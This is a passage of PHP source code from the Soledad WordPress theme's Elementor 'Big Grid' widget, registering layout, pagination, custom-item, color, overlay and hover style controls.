			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'onecol_mobile' => 'yes',
				'style!'        => array( 'style-1', 'style-2' ),
			),
		) );

		$this->add_control( 'bgcontent_pos', array(
			'label'     => __( 'Big Grid Content Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'on',
			'options'   => array(
				'on'    => esc_html__( 'On Image', 'soledad' ),
				'below' => esc_html__( 'Below Image', 'soledad' ),
				'above' => esc_html__( 'Above Image', 'soledad' ),
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_responsive_control( 'bg_gap', array(
			'label'     => __( 'Gap Between Grid & Mansonry Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bgstyle-1 .penci-dflex'                                              => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2); width: calc(100% + {{SIZE}}px);',
				'{{WRAPPER}} .penci-bgstyle-2 .item-masonry, {{WRAPPER}} .penci-bgstyle-1 .penci-bgitem' => 'padding-left: calc({{SIZE}}px/2); padding-right: calc({{SIZE}}px/2); margin-bottom: {{SIZE}}px',
				'{{WRAPPER}} .penci-bgstyle-2 .penci-biggrid-data'                                       => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2);',
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_responsive_control( 'bg_othergap', array(
			'label'     => __( 'Gap Between Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-biggrid' => '--pcgap: {{SIZE}}px;',
			),
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_responsive_control( 'penci_img_ratio', array(
			'label'     => __( 'Adjust Ratio of Images( Unit % )', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'default'   => array( 'size' => 66 ),
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bgitem .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
			),
			'condition' => array( 'style' => array( 'style-1' ) ),
		) );

		$this->add_responsive_control( 'imgradius', array(
			'label'     => __( 'Custom Border Radius for Images', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-thumb, {{WRAPPER}} .pcbg-bgoverlay, {{WRAPPER}} .penci-image-holder' => 'border-radius: {{SIZE}}px; -webkit-border-radius: {{SIZE}}px;',
			)
		) );

		$this->add_responsive_control( 'bg_height', array(
			'label'     => __( 'Custom Big Grid Height (Unit is px)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-biggrid .penci-fixh' => '--bgh: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'disable_lazy', array(
			'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'bg_pagination', array(
			'label'     => esc_html__( 'Page Navigation', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'paging', array(
			'label'       => __( 'Page Navigation Style', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => 'none',
			'options'     => array(
				'none'     => esc_html__( 'None', 'soledad' ),
				'nextprev' => esc_html__( 'Ajax Next/Previous', 'soledad' ),
				'numbers'  => esc_html__( 'Page Navigation Numbers', 'soledad' ),
				'loadmore' => esc_html__( 'Load More Posts Button', 'soledad' ),
				'scroll'   => esc_html__( 'Infinite Scroll', 'soledad' ),
			),
			'description' => __( 'Load More Posts Button & Infinite Scroll just works on frontend only.', 'soledad' ),
			'condition'   => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'paging_align', array(
			'label'     => __( 'Page Navigation Align', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'align-center',
			'options'   => array(
				'align-center' => esc_html__( 'Center', 'soledad' ),
				'align-left'   => esc_html__( 'Left', 'soledad' ),
				'align-right'  => esc_html__( 'Right', 'soledad' ),
			),
			'condition' => array( 'bgquery_type' => 'post', 'paging!' => 'none' ),
		) );

		$this->add_responsive_control( 'paging_matop', array(
			'label'     => __( 'Margin Top for Page Navigation', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-pagination' => 'margin-top: {{SIZE}}px' ),
			'condition' => array( 'bgquery_type' => 'post' ),
		) );

		$this->end_controls_section();

		$this->register_query_section_controls();

		$this->start_controls_section( 'bg_custom', array(
			'label'     => __( 'Custom Grid Items', 'soledad' ),
			'condition' => array( 'bgquery_type' => 'custom' ),
		) );

		$repeater = new Repeater();
		$repeater->start_controls_tabs( 'biggrid_repeater' );

		$repeater->start_controls_tab( 'content', array( 'label' => __( 'Content', 'soledad' ) ) );

		$repeater->add_control( 'image', array(
			'label'   => _x( 'Select Image', 'soledad' ),
			'type'    => Controls_Manager::MEDIA,
			'default' => array( 'url' => Utils::get_placeholder_image_src() ),
		) );

		$repeater->add_control( 'sub_title', array(
			'label'       => __( 'Sub title', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'default'     => __( 'Sub title', 'soledad' ),
			'label_block' => true,
		) );

		$repeater->add_control( 'title', array(
			'label'       => __( 'Title', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'default'     => __( 'Heading Title', 'soledad' ),
			'label_block' => true,
		) );

		$repeater->add_control( 'title_link', array(
			'label'       => __( 'Add Link for Title & Image', 'soledad' ),
			'type'        => Controls_Manager::URL,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
		) );

		$repeater->add_control( 'desc', array(
			'label'      => __( 'Description', 'soledad' ),
			'type'       => Controls_Manager::TEXTAREA,
			'default'    => __( 'I am demo text - click edit button to change me.', 'soledad' ),
			'show_label' => true,
		) );

		$repeater->add_control( 'button_text', array(
			'label'   => __( 'Button Text', 'soledad' ),
			'type'    => Controls_Manager::TEXT,
			'default' => __( 'Read More', 'soledad' ),
		) );

		$repeater->add_control( 'button_link', array(
			'label'       => __( 'Button Link', 'soledad' ),
			'type'        => Controls_Manager::URL,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
		) );

		$repeater->end_controls_tab();

		$repeater->start_controls_tab( 'background', array( 'label' => __( 'Background', 'soledad' ) ) );

		$repeater->add_control( 'item_overlaybg', array(
			'label'     => esc_html__( 'Custom Overlay Background for This Item. It will only affect this item only. To adjust the style for all items, check options on the Style tab at the top.', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$repeater->add_group_control( Group_Control_Background::get_type(), array(
			'name'     => 'item_bg',
			'label'    => __( 'Overlay Background', 'soledad' ),
			'types'    => array( 'classic', 'gradient', 'video' ),
			'selector' => '{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-bgoverlay.active-overlay, {{WRAPPER}} {{CURRENT_ITEM}} .pcbg-bgoverlaytext.active-overlay',
		) );

		$repeater->end_controls_tab();

		$repeater->start_controls_tab( 'style', array( 'label' => __( 'Style', 'soledad' ) ) );

		$repeater->add_control( 'custom_style', array(
			'label'       => __( 'Custom', 'soledad' ),
			'type'        => Controls_Manager::SWITCHER,
			'description' => __( 'Set custom style that will only affect this item only. To adjust the style for all items, check options on the "Style" tab at the top.', 'soledad' ),
		) );

		$repeater->add_control( 'horizontal_position', array(
			'label'                => __( 'Horizontal Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto !important',
				'center' => 'margin-left: auto !important; margin-right: auto !important;',
				'right'  => 'margin-left: auto !important',
			),
			'conditions'           => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				),
			),
		) );

		$repeater->add_control( 'vertical_position', array(
			'label'                => __( 'Vertical Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-flex' => 'align-items: {{VALUE}}',
			),
			'selectors_dictionary' => array(
				'top'    => 'flex-start',
				'middle' => 'center',
				'bottom' => 'flex-end',
			),
			'conditions'           => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			),
		) );

		$repeater->add_control( 'text_align', array(
			'label'       => __( 'Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-flex' => 'text-align: {{VALUE}}'
			),
			'conditions'  => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			),
		) );

		$repeater->add_control( 'subtitle_color', array(
			'label'      => __( 'Sub Title Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci-bgrid-based-custom {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-above'      => 'color: {{VALUE}}',
				'{{WRAPPER}} .penci-bgrid-based-custom {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-above span' => 'color: {{VALUE}}',
				'{{WRAPPER}} .penci-bgrid-based-custom {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-above a'    => 'color: {{VALUE}}',
				'{{WRAPPER}} .penci-bgrid-based-custom {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-sub-title'  => 'color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'title_color', array(
			'label'      => __( 'Title Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-title'   => 'color: {{VALUE}}',
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-title a' => 'color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'title_hcolor', array(
			'label'      => __( 'Title Hover Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-title a:hover' => 'color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'desc_color', array(
			'label'      => __( 'Description Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-meta'   => 'color: {{VALUE}}',
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner .pcbg-meta a' => 'color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'button_color', array(
			'label'      => __( 'Button Text Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}}'
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'button_hcolor', array(
			'label'      => __( 'Button Text Hover Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} {{CURRENT_ITEM}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'button_border_color', array(
			'label'      => __( 'Button Border Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'button_border_hcolor', array(
			'label'      => __( 'Button Border Hover Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} {{CURRENT_ITEM}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'button_bg_color', array(
			'label'      => __( 'Button Background Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_control( 'button_bg_hcolor', array(
			'label'      => __( 'Button Background Hover Color', 'soledad' ),
			'type'       => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} {{CURRENT_ITEM}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}}',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_responsive_control( 'bgoverlay_padding', array(
			'label'      => __( 'Content Text Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->add_responsive_control( 'bgoverlay_margin', array(
			'label'      => __( 'Content Text Margin', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} {{CURRENT_ITEM}} .pcbg-content-inner' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'conditions' => array(
				'terms' => array(
					array(
						'name'  => 'custom_style',
						'value' => 'yes',
					)
				)
			)
		) );

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control( 'biggrid_items', array(
			'label'       => __( 'Big Grid Custom Items', 'soledad' ),
			'type'        => Controls_Manager::REPEATER,
			'show_label'  => true,
			'fields'      => $repeater->get_controls(),
			'default'     => array(
				array(
					'image'       => array( 'url' => Utils::get_placeholder_image_src() ),
					'sub_title'   => __( 'Sub Title', 'soledad' ),
					'title'       => __( 'Big Grid Item #1', 'soledad' ),
					'desc'        => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
					'button_text' => __( 'Click Here', 'soledad' ),
				),
				array(
					'image'       => array( 'url' => Utils::get_placeholder_image_src() ),
					'sub_title'   => __( 'Sub Title', 'soledad' ),
					'title'       => __( 'Big Grid Item #2', 'soledad' ),
					'desc'        => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
					'button_text' => __( 'Click Here', 'soledad' ),
				),
				array(
					'image'       => array( 'url' => Utils::get_placeholder_image_src() ),
					'sub_title'   => __( 'Sub Title', 'soledad' ),
					'title'       => __( 'Big Grid Item #3', 'soledad' ),
					'desc'        => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
					'button_text' => __( 'Click Here', 'soledad' ),
				),
				array(
					'image'       => array( 'url' => Utils::get_placeholder_image_src() ),
					'sub_title'   => __( 'Sub Title', 'soledad' ),
					'title'       => __( 'Big Grid Item #4', 'soledad' ),
					'desc'        => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
					'button_text' => __( 'Click Here', 'soledad' ),
				),
				array(
					'image'       => array( 'url' => Utils::get_placeholder_image_src() ),
					'sub_title'   => __( 'Sub Title', 'soledad' ),
					'title'       => __( 'Big Grid Item #5', 'soledad' ),
					'desc'        => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
					'button_text' => __( 'Click Here', 'soledad' ),
				),
				array(
					'image'       => array( 'url' => Utils::get_placeholder_image_src() ),
					'sub_title'   => __( 'Sub Title', 'soledad' ),
					'title'       => __( 'Big Grid Item #6', 'soledad' ),
					'desc'        => __( 'I am demo text. Edit grid items to edit me', 'soledad' ),
					'button_text' => __( 'Click Here', 'soledad' ),
				),
			),
			'title_field' => '{{{ title }}}',
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'biggrid_section_imgsize', array(
			'label' => __( 'Custom Image Sizes', 'soledad' ),
		) );

		$this->add_control( 'thumb_size', array(
			'label'   => __( 'Custom Image Size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'bthumb_size', array(
			'label'     => __( 'Image Size for Big Items', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => $this->get_list_image_sizes( true ),
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'mthumb_size', array(
			'label'   => __( 'Custom Image Size for Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->end_controls_section();

		$this->register_block_title_ajax_filter( false, [ 'bgquery_type' => 'post' ] );

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_biggrid_design', array(
			'label' => __( 'Big Grid Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'bg_pos_display', array(
			'label'     => esc_html__( 'Content Text Position and Display', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'content_horizontal_position', array(
			'label'                => __( 'Content Text Horizontal Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcbg-content-inner' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto',
			),
		) );

		$this->add_control( 'content_vertical_position', array(
			'label'                => __( 'Content Text Vertical Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcbg-content-flex' => 'align-items: {{VALUE}}',
			),
			'selectors_dictionary' => array(
				'top'    => 'flex-start',
				'middle' => 'center',
				'bottom' => 'flex-end',
			),
		) );

		$this->add_control( 'content_text_align', array(
			'label'       => __( 'Content Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcbg-content-flex' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'content_display', array(
			'label'   => __( 'Content Text Display', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'block',
			'options' => array(
				'block'        => esc_html__( 'Block', 'soledad' ),
				'inline-block' => esc_html__( 'Inline Block', 'soledad' ),
			),
		) );

		$this->add_responsive_control( 'content_width', array(
			'label'      => __( 'Content Text Max-Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%', 'px' ),
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100, ),
				'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
			),
			'selectors'  => array( '{{WRAPPER}} .pcbg-content-inner' => 'max-width: {{SIZE}}{{UNIT}}' ),
		) );

		$this->add_control( 'bg_padding_margin', array(
			'label'     => esc_html__( 'Content Text Padding and Margin', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_responsive_control( 'content_padding', array(
			'label'      => __( 'Content Text Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-content-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'content_margin', array(
			'label'      => __( 'Content Text Margin', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-content-inner' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_biggrid_overlay', array(
			'label' => __( 'Big Grid Overlay', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'overlay_type', array(
			'label'   => __( 'Apply Overlay On:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'whole',
			'options' => array(
				'whole' => __('Whole Image', 'soledad' ),
				'text'  => __('Whole Content Text', 'soledad' ),
				'none'  => __('None', 'soledad' ),
			)
		) );

		$this->add_group_control( Group_Control_Background::get_type(), array(
			'name'      => 'overlay_bg',
			'label'     => __( 'Overlay Background', 'soledad' ),
			'types'     => array( 'classic', 'gradient', 'video' ),
			'selector'  => '{{WRAPPER}} .pcbg-bgoverlay.active-overlay, {{WRAPPER}} .pcbg-bgoverlaytext.active-overlay',
			'condition' => array( 'overlay_type!' => array( 'none' ) ),
		) );

		$this->add_responsive_control( 'overlay_opacity', array(
			'label'     => __( 'Overlay Opacity(%)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 100, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-bgoverlay.active-overlay'     => 'opacity: calc( {{SIZE}}/100 )',
				'{{WRAPPER}} .pcbg-bgoverlaytext.active-overlay' => 'opacity: calc( {{SIZE}}/100 )',
			),
		) );

		$this->add_responsive_control( 'overlay_hopacity', array(
			'label'     => __( 'Overlay Hover Opacity(%)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 100, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bgmain:hover .pcbg-bgoverlay.active-overlay'     => 'opacity: calc( {{SIZE}}/100 )',
				'{{WRAPPER}} .penci-bgmain:hover .pcbg-bgoverlaytext.active-overlay' => 'opacity: calc( {{SIZE}}/100 )',
			),
		) );

		$this->add_control( 'apply_spe_bg_subtitle', array(
			'label' => __( 'Apply Separate Background for Categories/Sub Title', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'spe_bg_subtitle', array(
			'label'     => __( 'Background for Categories/Sub Title', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgrid-based-post .cat > a.penci-cat-name' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-bgrid-based-custom .pcbg-sub-title'       => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_subtitle' => 'yes' ),
		) );

		$this->add_control( 'spe_bg_hsubtitle', array(
			'label'     => __( 'Background for Categories/Sub Title on Hover', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgrid-based-post .penci-bgitem:hover .cat > a.penci-cat-name' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-bgrid-based-custom .penci-bgitem:hover .pcbg-sub-title'       => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_subtitle' => 'yes' ),
		) );

		$this->add_control( 'apply_spe_bg_title', array(
			'label' => __( 'Apply Separate Background for Title', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'spe_bg_title', array(
			'label'     => __( 'Background for Title', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-title' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_title' => 'yes' ),
		) );

		$this->add_control( 'spe_bg_htitle', array(
			'label'     => __( 'Background for Title on Hover', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgitem:hover .pcbg-title' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_title' => 'yes' ),
		) );

		$this->add_control( 'apply_spe_bg_meta', array(
			'label' => __( 'Apply Separate Background for Post Meta/Description', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'spe_bg_meta', array(
			'label'     => __( 'Background for Post Meta/Description', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-meta-desc' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_meta' => 'yes' ),
		) );

		$this->add_control( 'spe_bg_hmeta', array(
			'label'     => __( 'Background for Post Meta/Description on Hover', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgitem:hover .pcbg-meta-desc' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_meta' => 'yes' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_bg_hover_effect', array(
			'label' => __( 'Hover Effect', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'image_hover', array(
